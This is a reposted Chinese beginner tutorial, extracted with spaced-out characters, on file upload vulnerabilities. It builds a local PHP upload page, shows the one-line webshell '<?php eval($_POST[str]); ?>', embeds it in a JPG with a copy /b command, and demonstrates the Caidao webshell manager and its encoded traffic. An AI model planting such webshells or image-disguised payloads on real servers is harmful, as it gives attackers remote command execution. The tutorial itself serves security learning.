搜索

[21515] 2020-12-19_[网络安全]十二.文件上传漏洞(1)基础原理及Caidao入门知识

文档创建者：s7ckTeam
浏览次数：48
最后更新：2025-01-18
2020-12-19_[网络安全]十二.文件上传漏洞(1)基础原理及Caidao入门知识 [ 网 络 安 全 ]   十 二 . 文 件 上 传 漏 洞   ( 1 ) 基 础 原 理 及 C a i d a o 入 门 知 识 E a s t m o u n t   L e m o n S e c   2 0 2 0 - 1 2 - 1 9 前 文 分 享 （ 下 面 的 超 链 接 可 以 点 击 喔 ） ： [ 网 络 安 全 ]   一 . W e b 渗 透 入 门 基 础 与 安 全 术 语 普 及 [ 网 络 安 全 ]   二 . W e b 渗 透 信 息 收 集 之 域 名 、 端 口 、 服 务 、 指 纹 、 旁 站 、 C D N 和 敏 感 信 息 [ 网 络 安 全 ]   三 . 社 会 工 程 学 那 些 事 及 I P 物 理 定 位 [ 网 络 安 全 ]   四 . 手 工 S Q L 注 入 和 S Q L M A P 入 门 基 础 及 案 例 详 解 [ 网 络 安 全 ]   五 . X S S 跨 站 脚 本 攻 击 详 解 及 分 类 - 1 [ 网 络 安 全 ]   六 . X S S 跨 站 脚 本 攻 击 靶 场 案 例 九 题 及 防 御 方 法 - 2 [ 网 络 安 全 ]   七 . B u r p   S u i t e 工 具 安 装 配 置 、 P r o x y 基 础 用 法 及 暴 库 入 门 示 例 [ 网 络 安 全 ]   八 . W e b 漏 洞 及 端 口 扫 描 之 Z e N m a p 、 T h r e a t S c a n 和 D i r B u s t e r 工 具 [ 网 络 安 全 ]   九 . W i r e s h a r k 安 装 入 门 及 抓 取 网 站 用 户 名 密 码 - 1 [ 网 络 安 全 ]   十 . W i r e s h a r k 抓 包 原 理 、 A R P 劫 持 、 M A C 泛 洪 及 数 据 流 追 踪 - 2 前 文 分 享 了 S h o d a n 搜 索 引 擎 的 基 本 用 法 及 P y t h o n 命 令 行 。 这 篇 文 章 将 详 细 讲 解 文 件 上 传 漏 洞 ， 通 过 本 地 环 境 搭 建 介 绍 相 关 原 理 及 C a i d a o 的 基 本 用 法 。 本 文 参 考 了 F o x 老 师 的 视 频 ， 推 荐 大 家 去 学 习 。 非 常 基 础 的 文 章 ， 希 望 对 入 门 的 博 友 们 有 帮 助 ， 大 神 请 飘 过 ， 谢 谢 各 位 看 官 ！ 娜 璋 A I 安 全 之 家 将 专 注 于 P y t h o n 和 安 全 技 术 ， 主 要 分 享 W e b 渗 透 、 系 统 安 全 、 人 工 智 能 、 大 数 据 分 析 、 图 像 识 别 、 恶 意 代 码 检 测 、 C V E 复 现 、 威 胁 情 报 分 析 等 文 章 。 真 心 想 把 自 己 近 十 年 的 所 学 所 做 所 感 分 享 出 来 ， 与 大 家 一 起 进 步 。 声 明 ： 本 人 坚 决 反 对 利 用 教 学 方 法 进 行 恶 意 攻 击 的 行 为 ， 一 切 错 误 的 行 为 必 将 受 到 严 惩 ， 绿 色 网 络 需 要 我 们 共 同 维 护 ， 更 推 荐 大 家 了 解 技 术 背 后 的 原 理 ， 更 好 地 进 行 安 全 防 护 。 虽 然 作 者 是 一 名 安 全 小 白 ， 但 会 保 证 每 一 篇 文 章 都 会 很 用 心 地 撰 写 ， 希 望 这 些 文 章 对 你 有 所 帮 助 ， 安 全 路 上 一 起 前 行 。 -   h t t p s : / / g i t h u b . c o m / e a s t m o u n t y x z / N e t w o r k S e c u r i t y S e l f - s t u d y 文 章 目 录 ： 文 章 目 录 ： 一 . 文 件 上 传 漏 洞 概 述 及 本 地 环 境 搭 建 1 . 原 理 知 识
2 . 环 境 搭 建 二 . 木 马 原 理 及 C a i d a o 1 . 一 句 话 木 马 原 理 2 . 图 片 一 句 话 木 马 制 作 3 . C a i d a o 案 例 4 . C a i d a o 原 理 三 . J S + M I M E 和 文 件 扩 展 名 限 制 1 . J S 绕 过 文 件 上 传 2 . M I M E 绕 过 文 件 上 传 3 . 扩 展 名 限 制 上 传 一 一 . 文 件 上 传 漏 洞 概 述 文 件 上 传 漏 洞 概 述 1 . 原 理 知 识 原 理 知 识 W e b 应 用 程 序 通 常 会 有 文 件 上 传 的 功 能 ， 例 如 ， 在 B B S 发 布 图 片 、 在 个 人 网 站 发 布 压 缩 包 、 在 招 聘 网 站 发 布 D O C 格 式 简 历 等 。 只 要 W e b 应 用 程 序 允 许 上 传 文 件 ， 就 有 可 能 存 在 文 件 上 传 漏 洞 。 文 件 上 传 漏 洞 与 S Q L 注 入 相 比 ， 其 风 险 更 大 ， 如 果 W e b 应 用 程 序 存 在 文 件 上 传 漏 洞 ， 攻 击 者 甚 至 可 以 直 接 上 传 一 个 W e b S h e l l 到 服 务 器 上 。 那 么 ， 如 何 确 认 W e b 应 用 程 序 是 否 存 在 上 传 漏 洞 呢 ？ 比 如 ， 我 的 网 站 是 一 个 B B S 论 坛 ， 由 P H P 编 写 ， 用 户 可 以 上 传 自 己 的 个 性 化 头 像 ， 也 就 是 图 片 文 件 ， 但 文 件 上 传 时 并 没 有 对 图 片 格 式 做 验 证 ， 导 致 用 户 可 以 上 传 任 意 文 件 ， 那 么 这 就 是 一 个 漏 洞 。 如 下 图 所 示 ， 通 过 文 件 上 传 漏 洞 获 取 了 整 个 网 站 的 目 录 。 在 这 篇 文 章 中 ， 作 者 仅 简 单 介 绍 文 件 上 传 漏 洞 的 基 础 知 识 ， 后 面 还 会 陆 续 分 享 几 篇 博 文 ， 详 细 讲 解 各 种 文 件 上 传 漏 洞 的 案 例 及 防 御 措 施 。 基 础 文 章 ， 希 望 对 想 成 为 白 帽 子 或 安 全 工 程 师 的 博 友 有 所 帮 助 。 下 图 展 示 了 网 络 安 全 涉 及 的 各 种 技 术 ： 2 . 环 境 搭 建 环 境 搭 建 首 先 ， 作 者 简 单 搭 建 本 地 P H P 的 服 务 器 环 境 ， 读 者 也 可 以 尝 试 远 程 服 务 器 进 行 测 试 。 第 一 步 ， 安 装 X A M P P 软 件 ， A p a c h e 、 M y S Q L 和 P H P 实 现 服 务 器 搭 建 。
第 二 步 ， 点 击 A p a c h e 运 行 ， 如 下 图 所 示 ， 然 后 点 击 文 件 夹 “ E x p l o r e r ” 图 标 。 该 文 件 夹 将 存 放 我 们 的 P H P 文 件 ， 它 是 一 个 本 地 的 服 务 器 ， 当 然 您 也 可 以 将 您 的 P H P 文 件 上 传 到 远 程 服 务 器 上 。 第 三 步 ， 放 入 我 们 的 两 个 P H P 文 件 。 i n d e x . p h p 是 一 个 上 传 页 面 ， 包 含 一 个 文 件 选 择 和 上 传 按 钮 ， 并 调 用 u p l o a d _ s e r v e r . p h p 文 件 执 行 上 传 操 作 。 u p l o a d _ s e r v e r . p h p 是 具 体 的 上 传 操 作 ， 代 码 如 下 所 示 ， 调 用 m o v e _ u p l o a d e d _ f i l e 函 数 实 现 上 传 。
第 四 步 ， 访 问 该 目 录 就 能 成 功 实 现 文 件 上 传 功 能 ， 如 下 图 所 示 。 访 问 地 址 ： h t t p : / / l o c a l h o s t / e a s t m o u n t / i n d e x . p h p 点 击 “ 选 择 文 件 ” 按 钮 ， 选 择 本 地 文 件 并 提 交 。 上 传 成 功 之 后 ， 可 以 看 到 本 地 的 u p l o a d s 文 件 夹 下 有 一 张 图 片 ， 并 且 能 够 成 功 访 问 。 访 问 地 址 ： h t t p : / / l o c a l h o s t / e a s t m o u n t / u p l o a d s / m m . j p g
写 到 这 里 ， 一 个 简 单 的 P H P 文 件 上 传 功 能 就 实 现 了 ， 接 下 来 开 始 讲 解 文 件 上 传 漏 洞 。 二 二 . 木 马 原 理 及 木 马 原 理 及 C a i d a o 1 . 一 句 话 木 马 原 理 一 句 话 木 马 原 理 “ 一 句 话 木 马 一 句 话 木 马 ” 服 务 端 ： 服 务 端 ： 本 地 存 储 的 脚 本 木 马 文 件 ， 是 我 们 要 用 来 将 恶 意 代 码 上 传 到 服 务 器 网 站 中 执 行 权 限 。 该 语 句 触 发 后 ， 接 收 入 侵 者 通 过 客 户 端 提 交 的 数 据 ， 执 行 并 完 成 相 应 的 操 作 。 服 务 端 的 代 码 内 容 为 ： “ 一 句 话 木 马 一 句 话 木 马 ” 客 户 端 ： 客 户 端 ：   远 程 服 务 器 上 被 插 入 一 句 话 的 a s p 可 执 行 文 件 。 用 来 向 服 务 端 提 交 控 制 数 据 ， 提 交 的 数 据 通 过 服 务 端 构 成 完 整 的 功 能 语 句 并 执 行 ， 生 成 我 们 需 要 的 木 马 文 件 。 一 句 话 木 马 短 小 精 悍 ， 功 能 强 大 且 隐 蔽 性 非 常 好 ， 常 见 的 种 类 包 括 a s p 、 p h p 、 a s p x 。 如 下 ： 下 图 是 一 个 t e s t . p h p 的 文 件 ， 它 包 含 了 我 们 的 一 句 话 木 马 。 2 . 图 片 一 句 话 木 马 制 作 图 片 一 句 话 木 马 制 作 由 于 有 些 网 站 上 传 文 件 时 ， 会 检 查 你 上 传 文 件 的 头 目 录 ， 如 果 你 的 一 句 话 木 马 是 放 在 P H P 文 件 中 ， 它 很 容 易 被 识 别 出 来 。 这 个 时 候 图 片 一 句 话 木 马 的 作 用 就 体 现 出 来 了 ， 后 面 会 更 详 细 的 介 绍 。 下 面 是 一 张 m m . j p g 图 片 文 件 ， 我 们 想 办 法 要 在 该 文 件 中 加 一 句 话 木 马 。 < ? p h p   e v a l ( $ _ P O S T [ s t r ] ) ;   ? >   / / s t r 自 定 义 内 容
方 法 一 ： 首 先 尝 试 用 方 法 一 ： 首 先 尝 试 用 n o t e p a d + + 打 开 该 图 片 并 添 加 一 句 话 木 马 ， 如 下 图 所 示 。 打 开 该 图 片 并 添 加 一 句 话 木 马 ， 如 下 图 所 示 。 虽 然 添 加 了 这 样 一 句 话 ， 木 马 创 建 成 功 了 ， 但 此 时 的 图 片 显 示 稍 微 有 些 模 糊 。 这 么 模 糊 的 图 片 不 是 留 下 痕 迹 吗 ？ 那 怎 么 处 理 呢 ？ 方 法 二 ： 通 过 方 法 二 ： 通 过 C M D 命 令 实 现 。 命 令 实 现 。 为 了 避 免 模 糊 ， 需 要 通 过 其 他 方 法 执 行 。 第 二 种 方 式 是 使 用 如 下 的 命 令 ， 其 中 b 表 示 二 进 制 ， a 表 示 a s c i i 编 码 。 在 C M D 中 直 接 运 行 ， 如 下 图 所 示 。 它 是 在 m m . j p g 图 片 中 ， 插 入 t e s t . p h p 中 的 一 句 话 木 马   < ? p h p e v a l ( $ _ P O S T [ s t r ] ) ;   ? >   ， 并 存 储 为 m m 1 . j p g 图 片 。 如 下 图 所 示 ， 这 是 同 一 个 目 录 下 对 应 的 三 个 文 件 。 用 N o t e p a d + + 打 开 “ m m 1 . j p g ” 可 以 看 到 ， 里 面 包 含 了 一 句 话 木 马 ， 并 且 不 影 响 我 们 的 图 片 质 量 。 c o p y   m m . j p g / b + t e s t . p h p / a   m m 1 . j p g
第 三 种 方 法 ， 直 接 通 过 第 三 种 方 法 ， 直 接 通 过 U e d i t 软 件 打 开 ， 然 后 将 代 码 复 制 至 末 尾 即 可 。 软 件 打 开 ， 然 后 将 代 码 复 制 至 末 尾 即 可 。 注 意 ， 部 分 网 站 是 有 文 件 格 式 解 析 的 ， 即 网 站 会 判 断 上 传 的 脚 本 是 否 可 以 被 执 行 ， 某 些 文 件 格 式 是 无 法 被 解 析 的 ， 比 如 ， 上 传 j p g 格 式 的 无 法 被 p h p 格 式 解 析 。 3 . C a i d a o 案 例 案 例 C a i d a o 软 件 据 说 是 一 个 退 役 兵 写 的 ， 真 的 很 厉 害 。 它 是 一 款 W e b s h e l l 管 理 工 具 ， 支 持 各 种 语 言 ， 常 见 的 包 括 A S P 、 A S P X 、 P H P 、 J S P 、 C F M 等 ， 现 在 蚁 剑 和 冰 蝎 B e h i n d e r 也 非 常 不 错 ， 打 开 C a i d a o 如 下 图 所 示 。 现 在 更 推 荐 冰 蝎 、 蚁 剑 、 C S 这 三 个 工 具 接 着 尝 试 举 一 个 例 子 ， 我 们 插 入 带 有 一 句 话 木 马 的 “ m m 1 . j p g ” 文 件 至 服 务 器 。
然 后 再 C a i d a o 空 白 处 右 键 “ 添 加 ” ， 设 置 地 址 及 口 令 ， 地 址 为 目 标 U R L ， 口 令 为 “ s t r ” ， 对 应 一 句 话 木 马   < ? p h p e v a l ( $ _ P O S T [ s t r ] ) ;   ? >   。 如 下 图 所 示 ： 添 加 成 功 之 后 ， 选 中 该 行 数 据 ， 右 键 “ 文 件 管 理 ” 应 该 能 查 看 目 标 网 站 的 服 务 器 文 件 目 录 ， 可 惜 作 者 失 败 了 ！ O ( ∩ _ ∩ ) O 正 确 的 示 例 参 考 之 前 的 文 章 ， 如 下 图 所 示 ：
P S ： 虽 然 案 例 失 败 了 ， 但 基 本 使 用 方 法 是 一 样 的 ， 后 续 作 者 会 搭 建 远 程 服 务 器 进 行 测 试 ， 也 会 继 续 深 入 学 习 。 4 . C a i d a o 基 础 用 法 基 础 用 法 最 后 分 享 下 中 国 菜 刀 软 件 的 原 理 知 识 和 用 法 ， 点 击 某 条 链 接 ， 右 键 “ 虚 拟 终 端 ” 。 在 虚 拟 终 端 中 输 入 命 令 ： i p c o n f i g 。 选 中 该 条 链 接 ， 并 复 制 数 据 包 的 内 容 进 行 分 析 。 将 抓 取 的 数 据 包 复 制 出 来 ， 如 下 图 所 示 。
其 中 ， % 3 D U R L 编 码 表 示 “ = ” ， % 2 B U R L 编 码 表 示 “ + ” 。 f o x = b a s e 6 4 表 示 对 P O S T 参 数 z 0 进 行 加 密 。 用 软 件 B a s e 6 4 解 密 之 后 ， 得 到 z 1 的 值 为 c m d 。 同 样 的 方 法 解 析 传 递 的 z 2 值 ， 结 果 如 下 图 所 示 ， 包 含 一 条 路 径 及 执 行 的 i p c o n f i g 命 令 。 该 参 数 可 以 通 过 浏 览 器 P O S T 提 交 ， 如 下 图 所 示 ， M a n t r a   P o r t a b l e 浏 览 器 也 是 网 络 攻 防 的 常 见 工 具 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理